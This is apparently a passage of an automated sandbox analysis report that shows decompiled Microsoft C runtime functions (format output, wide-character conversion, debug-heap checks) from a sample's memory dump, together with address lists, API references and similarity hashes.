																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AAD0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431000( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c00b
0x0043c00b
0x0043c00b
0x0043c00b
0x0043c00b
0x0043c00b
0x0043c00b
0x0043c011
0x0043c014
0x00000000
0x0043c092
0x00000000
0x0043c092
0x00000000
0x0043c092
0x0043c092
0x0043c09a
0x0043c0bc
0x0043c0c2
0x0043c0e7
0x0043c12e
0x0043c131
0x0043c152
0x0043c157
0x0043c15c
0x0043c162
0x0043c133
0x0043c137
0x0043c13c
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ef
0x0043c111
0x0043c116
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f5
0x0043c0fa
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c8
0x0043c0cd
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c0a0
0x0043c0a5
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16e
0x0043c1b0
0x0043c1b6
0x0043c1c2
0x00000000
0x0043c170
0x0043c170
0x0043c170
0x0043c177
0x00000000
0x0043c184
0x0043c184
0x0043c192
0x0043c197
0x0043c19d
0x0043c1ab
0x0043c1c8
0x0043c1d0
0x0043c1f2
0x0043c1f2
0x0043c1fc
0x0043c20d
0x0043c217
0x0043c219
0x0043c219
0x0043c1fe
0x0043c1fe
0x0043c1fe
0x0043c22c
0x0043c22e
0x0043c22e
0x0043c23b
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24c
0x00000000
0x00000000
0x0043c25c
0x0043c25f
0x0043c269
0x0043c278
0x0043c281
0x0043c297
0x0043c29d
0x0043c2aa
0x0043c2b8
0x0043c2b8
0x0043c2c7
0x0043c2cf
0x0043c2cf
0x0043c2d7
0x0043c2e0
0x0043c2e9
0x0043c2f5
0x0043c30e
0x0043c314
0x0043c31d
0x0043c31d
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x0043c500
0x0043c504
0x0043c50c
0x0043c511
0x0043c514
0x0043c514
0x0043c51b
0x0043c51b
0x0043b69b
0x0043b6a2
0x0043b6af
0x0043b6b4
0x00000000
0x0043b6c7
0x0043b6d1
0x0043b6f8
0x0043b6df
0x0043b6f0
0x0043b6f0
0x0043b6d1
0x0043b702
0x0043b708
0x0043b714
0x0043b717
0x0043b725
0x0043b728
0x0043b735
0x0043b7da
0x0043b7e0
0x0043b7ed
0x00000000
0x00000000
0x0043b7f3
0x0043b7f9
0x00000000
0x0043b800
0x0043b800
0x0043b81a
0x0043b81f
0x00000000
0x00000000
0x0043b827
0x0043b827
0x0043b82e
0x0043b831
0x0043b834
0x0043b837
0x0043b83a
0x0043b83d
0x0043b840
0x0043b847
0x0043b84e
0x00000000
0x00000000
0x0043b85a
0x0043b85a
0x0043b861
0x0043b86d
0x0043b870
0x0043b87d
0x00000000
0x00000000
0x0043b87f
0x0043b885
0x0043b885
0x0043b88c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b8d0
0x0043b8d0
0x0043b8da
0x0043b907
0x0043b911
0x0043b911
0x0043b915
0x0043b8dc
0x0043b8dc
0x0043b8e8
0x0043b8ef
0x0043b8f4
0x0043b8f7
0x0043b8fa
0x0043b8fd
0x0043b8ff
0x0043b8ff
0x0043b902
0x00000000
0x00000000
0x0043b91d
0x0043b91d
0x00000000
0x00000000
0x0043b929
0x0043b929
0x0043b933
0x0043b953
0x0043b956
0x0043b960
0x0043b960
0x0043b964
0x0043b935
0x0043b935
0x0043b941
0x0043b948
0x0043b94a
0x0043b94a
0x0043b951
0x00000000
0x00000000
0x0043b96c
0x0043b96c
0x0043b973
0x0043b97f
0x0043b982
0x0043b98f
0x0043baa2
0x00000000
0x0043baa2
0x0043b995
0x0043b99b
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9d9
0x0043b9d9
0x0043b9dc
0x0043b9e2
0x0043ba09
0x0043ba09
0x0043ba0c
0x0043ba12
0x0043ba36
0x0043ba36
0x0043ba39
0x0043ba3f
0x0043ba78
0x0043ba89
0x00000000
0x0043ba89
0x0043ba41
0x0043ba41
0x0043ba44
0x0043ba4a
0x00000000
0x00000000
0x0043ba4c
0x0043ba4c
0x0043ba4f
0x0043ba55
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5a
0x0043ba60
0x00000000
0x00000000
0x0043ba62
0x0043ba62
0x0043ba65
0x0043ba6b
0x00000000
0x00000000
0x0043ba6d
0x0043ba6d
0x0043ba70
0x0043ba76
0x0043ba7a
0x00000000
0x0043ba7a
0x00000000
0x0043ba76
0x0043ba14
0x0043ba14
0x0043ba17
0x0043ba1e
0x00000000
0x0043ba20
0x0043ba23
0x0043ba26
0x0043ba2c
0x0043ba31
0x00000000
0x0043ba31
0x0043ba1e
0x0043b9e4
0x0043b9e4
0x0043b9e7
0x0043b9ee
0x00000000
0x0043b9f0
0x0043b9f3
0x0043b9f6
0x0043b9fc
0x0043ba01
0x00000000
0x0043ba01
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8e
0x0043ba91
0x00000000
0x00000000
0x0043b9a9
0x0043b9a9
0x0043b9ac
0x0043b9b2
0x0043b9ce
0x0043b9d1
0x0043b9b4
0x0043b9b4
0x0043b9b7
0x0043b9ba
0x0043b9c0
0x0043b9c6
0x0043b9c6
0x00000000
0x00000000
0x0043ba96
0x0043ba99
0x0043ba9f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b8a9
0x0043b8a9
0x0043b8ac
0x0043b8af
0x00000000
0x00000000
0x0043b8b4
0x0043b8b7
0x0043b8bd
0x00000000
0x00000000
0x0043b89e
0x0043b8a1
0x0043b8a4
0x00000000
0x00000000
0x0043b893
0x0043b896
0x0043b899
0x00000000
0x00000000
0x0043b8c2
0x0043b8c5
0x0043b8c8
0x00000000
0x00000000
0x0043b8cb
0x00000000
0x00000000
0x0043b73b
0x0043b73b
0x0043b73d
0x0043b74b
0x0043b73f
0x0043b73f
0x0043b73f
0x0043b75b
0x0043b768
0x0043b76a
0x0043b76f
0x0043b771
0x0043b776
0x0043b77b
0x0043b77d
0x0043b782
0x0043b788
0x0043b78a
0x0043b78a
0x0043b788
0x0043b78b
0x0043b792
0x00000000
0x0043b794
0x0043b799
0x0043b7b5
0x0043b7bd
0x0043b7ca
0x0043b7cf
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043b792
0x0043b735
0x0043c520
0x0043c527
0x0043c53e
0x0043c532
0x0043c532
0x0043c532
0x0043c548
0x0043c54e
0x0043c55b
0x0043c55d
0x0043c562
0x0043c564
0x0043c569
0x0043c56e
0x0043c570
0x0043c575
0x0043c57b
0x0043c57d
0x0043c57d
0x0043c57b
0x0043c585
0x0043c5d0
0x0043c5d9
0x0043c5de
0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c32a
0x0043c330
0x0043c33a
0x0043c354
0x0043c36e
0x0043c375
0x0043c379
0x0043c379
0x0043c356
0x0043c35b
0x0043c35f
0x0043c35f
0x0043c33c
0x0043c341
0x0043c345
0x0043c345
0x0043c33a
0x0043c389
0x0043c395
0x0043c3ab
0x0043c3b0
0x0043c3b0
0x0043c3c6
0x0043c3cb
0x0043c3d4
0x0043c3f2
0x0043c3f7
0x0043c3f7
0x0043c3fe
0x0043c4b8
0x0043c4cb
0x0043c4d0
0x00000000
0x0043c40e
0x0043c40e
0x0043c411
0x0043c41a
0x0043c420
0x0043c420
0x0043c42f
0x0043c437
0x00000000
0x00000000
0x0043c439
0x0043c43c
0x0043c461
0x0043c466
0x0043c469
0x0043c476
0x0043c484
0x0043c497
0x0043c49c
0x0043c4ab
0x00000000
0x0043c4ab
0x0043c478
0x0043c478
0x00000000
0x0043c478
0x0043c4b6
0x0043c4d3
0x0043c4da
0x0043c4f8
0x0043c4fd
0x0043c4fd
0x00000000
0x0043c4da
0x0043baa7
0x0043baa7
0x0043baae
0x0043bab4
0x0043baba
0x0043babd
0x0043bac3
0x0043bad0
0x0043bad6
0x0043bad6
0x0043badd
0x00000000
0x0043be61
0x0043be61
0x0043be6f
0x0043be72
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x0043baf2
0x0043baf5
0x0043baf5
0x00000000
0x00000000
0x0043bc2a
0x0043bc2d
0x0043bc32
0x0043bc37
0x0043bc3a
0x0043bc3a
0x00000000
0x00000000
0x0043c02d
0x0043c02d
0x00000000
0x00000000
0x0043bb94
0x0043bb94
0x0043bba0
0x0043bbad
0x0043bbbb
0x0043bbbb
0x0043bbc1
0x0043bbc4
0x0043bbd0
0x0043bc25
0x00000000
0x0043bc25
0x0043bbaf
0x0043bbaf
0x0043bbb9
0x0043bbd5
0x0043bbd8
0x0043bbde
0x0043bc06
0x0043bc0d
0x0043bc13
0x0043bc16
0x0043bc19
0x0043bc1f
0x0043bc22
0x0043bbe0
0x0043bbe0
0x0043bbe6
0x0043bbe9
0x0043bbec
0x0043bbf2
0x0043bbf5
0x0043bbf8
0x0043bbfa
0x0043bbfd
0x0043bbfd
0x00000000
0x0043bbde
0x00000000
0x00000000
0x0043be79
0x0043be7c
0x0043be7f
0x0043be82
0x0043be88
0x0043be8b
0x0043be96
0x0043bea1
0x0043bea5
0x0043bebc
0x0043bec3
0x0043bec5
0x0043bec5
0x0043becc
0x0043bed3
0x0043bee1
0x0043bee4
0x0043bef3
0x0043befa
0x0043bf0f
0x0043befc
0x0043befc
0x0043beff
0x0043bf05
0x0043bf0a
0x0043bf0a
0x0043befa
0x0043bf19
0x0043bf1c
0x0043bf1f
0x0043bf22
0x0043bf25
0x0043bf28
0x0043bf2e
0x0043bf34
0x0043bf3c
0x0043bf3d
0x0043bf40
0x0043bf41
0x0043bf44
0x0043bf45
0x0043bf4c
0x0043bf4d
0x0043bf50
0x0043bf51
0x0043bf54
0x0043bf55
0x0043bf5b
0x0043bf5c
0x0043bf6b
0x0043bf6d
0x0043bf73
0x0043bf78
0x0043bf80
0x0043bf88
0x0043bf89
0x0043bf8c
0x0043bf8d
0x0043bf9c
0x0043bf9e
0x0043bf9e
0x0043bfa1
0x0043bfab
0x0043bfb0
0x0043bfb6
0x0043bfb8
0x0043bfc0
0x0043bfc1
0x0043bfc4
0x0043bfc5
0x0043bfd3
0x0043bfd5
0x0043bfd5
0x0043bfb6
0x0043bfd8
0x0043bfdb
0x0043bfe1
0x0043bfe6
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043bff4
0x0043bff7
0x0043c003
0x00000000
0x0043c003
0x0043bea7
0x0043bea7
0x0043beb1
0x00000000
0x00000000
0x0043beb3
0x0043beb3
0x00000000
0x0043beb3
0x0043be98
0x0043be98
0x00000000
0x00000000
0x0043baf8
0x0043baf8
0x0043bb03
0x0043bb0b
0x0043bb12
0x0043bb15
0x0043bb18
0x0043bb78
0x0043bb1a
0x0043bb21
0x0043bb27
0x0043bb2d
0x0043bb34
0x0043bb37
0x0043bb3d
0x0043bb45
0x0043bb47
0x0043bb4e
0x0043bb55
0x0043bb66
0x0043bb68
0x0043bb68
0x0043bb6f
0x0043bb7f
0x0043bb85
0x0043bb88
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd6a
0x0043bd6a
0x0043bd76
0x0043bd83
0x0043be2d
0x0043be2d
0x0043be30
0x0043be33
0x0043be47
0x0043be4d
0x0043be53
0x0043be35
0x0043be35
0x0043be3b
0x0043be42
0x0043be42
0x0043be55
0x00000000
0x0043be55
0x0043bd89
0x0043bd89
0x0043bd8b
0x0043bd99
0x0043bd8d
0x0043bd8d
0x0043bd8d
0x0043bda3
0x0043bda9
0x0043bdb6
0x0043bdb8
0x0043bdbd
0x0043bdbf
0x0043bdc4
0x0043bdc9
0x0043bdcb
0x0043bdd0
0x0043bdd6
0x0043bdd8
0x0043bdd8
0x0043bdd6
0x0043bde0
0x0043be28
0x00000000
0x0043bde2
0x0043bde2
0x0043bde7
0x0043be03
0x0043be0b
0x0043be15
0x0043be18
0x0043be1d
0x00000000
0x0043be1d
0x00000000
0x0043c074
0x0043c074
0x0043c07e
0x0043c084
0x0043c089
0x0043c08f
0x0043c08f
0x00000000
0x00000000
0x0043c026
0x0043c026
0x00000000
0x00000000
0x0043bc3d
0x0043bc41
0x0043bc4f
0x0043bc52
0x0043bc43
0x0043bc43
0x0043bc43
0x0043bc58
0x0043bc5e
0x0043bc64
0x0043bc70
0x0043bc76
0x0043bc79
0x0043bd01
0x0043bd05
0x0043bd07
0x0043bd0d
0x0043bd0d
0x0043bd10
0x0043bd17
0x0043bd1a
0x0043bd20
0x0043bd20
0x0043bd20
0x0043bd26
0x0043bd2c
0x0043bd2f
0x0043bd37
0x00000000
0x00000000
0x0043bd39
0x0043bd39
0x0043bd3f
0x0043bd44
0x00000000
0x00000000
0x0043bd46
0x0043bd4c
0x0043bd4f
0x0043bd4f
0x0043bd57
0x0043bd5d
0x0043bd60
0x0043bd62
0x00000000
0x0043bc7f
0x0043bc7f
0x0043bc83
0x0043bc85
0x0043bc8a
0x0043bc8a
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bca8
0x0043bca8
0x0043bca8
0x0043bcb1
0x00000000
0x00000000
0x0043bcb3
0x0043bcb3
0x0043bcb9
0x0043bcbe
0x00000000
0x00000000
0x0043bcc0
0x0043bcc0
0x0043bcc9
0x0043bccf
0x0043bcdd
0x0043bce5
0x0043bce8
0x0043bce8
0x0043bcf4
0x0043bcf7
0x0043bca2
0x0043bca5
0x0043bca5
0x0043bcff
0x0043bd65
0x00000000
0x0043bd65
0x00000000
0x0043c01d
0x0043c01d
0x00000000
0x00000000
0x0043c039
0x0043c039
0x0043c043
0x0043c043
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043badd
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c177
0x0043c16e
0x0043c092
0x0043c092
0x0043c092

APIs

_get_int64_arg.LIBCMTD ref: 0043C0A0
_get_int64_arg.LIBCMTD ref: 0043C0C8
__aullrem.LIBCMT ref: 0043C270
__aulldiv.LIBCMT ref: 0043C292
_write_multi_char.LIBCMTD ref: 0043C3AB
_write_string.LIBCMTD ref: 0043C3C6
_write_multi_char.LIBCMTD ref: 0043C3F2
__mbtowc_l.LIBCMTD ref: 0043C461

Strings

("Incorrect format specifier", 0), xrefs: 0043B76A, 0043B7B0
9, xrefs: 0043C2A3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B776, 0043B7A6
_woutput_s_l, xrefs: 0043B7AB

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: ae80559142bf22aaeadef66377556fc246ce8c91c4bc9ae1196790b34c90ed05
Instruction ID: a72f82e929953e5f6540e14f221cc0b569ba33f572a478e0c118a1d1411d92ce
Opcode Fuzzy Hash: ae80559142bf22aaeadef66377556fc246ce8c91c4bc9ae1196790b34c90ed05
Instruction Fuzzy Hash: 38F118B1D002299FDF24CF98CC81BAEB7B5BB89304F14519AE609B7241D7789E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00436E83, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00436E83(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AAD0(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AAD0(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422AF0(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041AAA0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041AAA0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042D940(_t208,  *(_t274 + 0xc));
						E0041AAA0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BAA0(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AAD0(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422AF0(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041AAA0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AAD0(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AAD0(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422AF0(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041AAA0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422AF0(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041AAA0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041AAA0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041AAA0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041AAA0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041AAA0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00437270( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AAD0(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422AF0(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041AAA0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041AAA0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041AAA0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422AF0(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041AAA0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041AAA0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x00436e83
0x00436e83
0x00436e83
0x00436e87
0x004371be
0x004371c3
0x004371c9
0x004371fb
0x004371fe
0x00437203
0x0043720f
0x00437216
0x00437223
0x00437229
0x00437233
0x00437238
0x0043723d
0x00437243
0x00437249
0x0043724e
0x0043724e
0x004371cb
0x004371cb
0x004371d7
0x004371dd
0x004371e2
0x004371e2
0x0043725b
0x00437268
0x00437268
0x00436e9b
0x00436f45
0x00437011
0x00437013
0x0043701d
0x00437024
0x00437049
0x0043705b
0x00437061
0x0043706b
0x00437070
0x00437078
0x00437078
0x0043708d
0x004370af
0x004370b1
0x004370bb
0x004370c2
0x004370cf
0x004370d5
0x004370df
0x004370e4
0x004370ec
0x004370f0
0x004370fd
0x00437103
0x0043710d
0x00437112
0x0043711a
0x00437123
0x0043713b
0x00437156
0x0043716b
0x00437170
0x00437178
0x0043714a
0x00437153
0x00000000
0x00437153
0x0043717d
0x00437183
0x00437188
0x00000000
0x00437188
0x00437195
0x00437198
0x00000000
0x00437198
0x00437128
0x0043712e
0x00437133
0x00437133
0x004370f0
0x00000000
0x004370c2
0x004371a3
0x004371a9
0x004371ae
0x004371ae
0x0043702c
0x00437032
0x00437038
0x0043703d
0x0043703d
0x00000000
0x00437024
0x00436f4f
0x00436f61
0x00436f61
0x00436f76
0x00436f84
0x00436f86
0x00436f90
0x00436f97
0x00436fd1
0x00436fd7
0x00436fe1
0x00436fe6
0x00436f9f
0x00436fab
0x00436fb3
0x00436fb3
0x00436fb6
0x00436fb9
0x00436fbf
0x00436fc4
0x00436fc4
0x00000000
0x00000000
0x00000000
0x00000000
0x00436ea1
0x00436ea1
0x00436ea1
0x00436ea7
0x00000000
0x00000000
0x00436ea9
0x00436eb4
0x00436ee3
0x00436ee8
0x00436ef1
0x00436ef6
0x00436f11
0x00436f14
0x00000000
0x00436f14
0x00436efb
0x00436f01
0x00436f06
0x00436eb6
0x00436ebb
0x00436ec1
0x00436ecb
0x00436ed0
0x00436ed0
0x00000000
0x00436eb4
0x00436f1c
0x00436f22
0x00436f27
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00436ECB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00436F01
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00436F22
wcsncnt.LIBCMTD ref: 00436F59
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00436F8A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00436FBF
_wcslen.LIBCMTD ref: 004371CF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004371DD

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: fa894f40d30de484dd822f59bd4d6f66300a25379ae91f2a83322669ef4d233a
Instruction ID: 2db1c1b84bdcbb786d4002cfe3a97be443442e0a7e116f68838e8a05b5ca954a
Opcode Fuzzy Hash: fa894f40d30de484dd822f59bd4d6f66300a25379ae91f2a83322669ef4d233a
Instruction Fuzzy Hash: 0FD14771900208EFCF18DF94C984AEEB7B0FF88314F20815AE4566B291DB78AE45DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C2B5, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C2C9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C355
_CheckBytes.LIBCMTD ref: 0041C400
_CheckBytes.LIBCMTD ref: 0041C4BA
_memset.LIBCMT ref: 0041C5B1
__free_base.LIBCMTD ref: 0041C5BD

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C36D, 0041C3CB, 0041C586
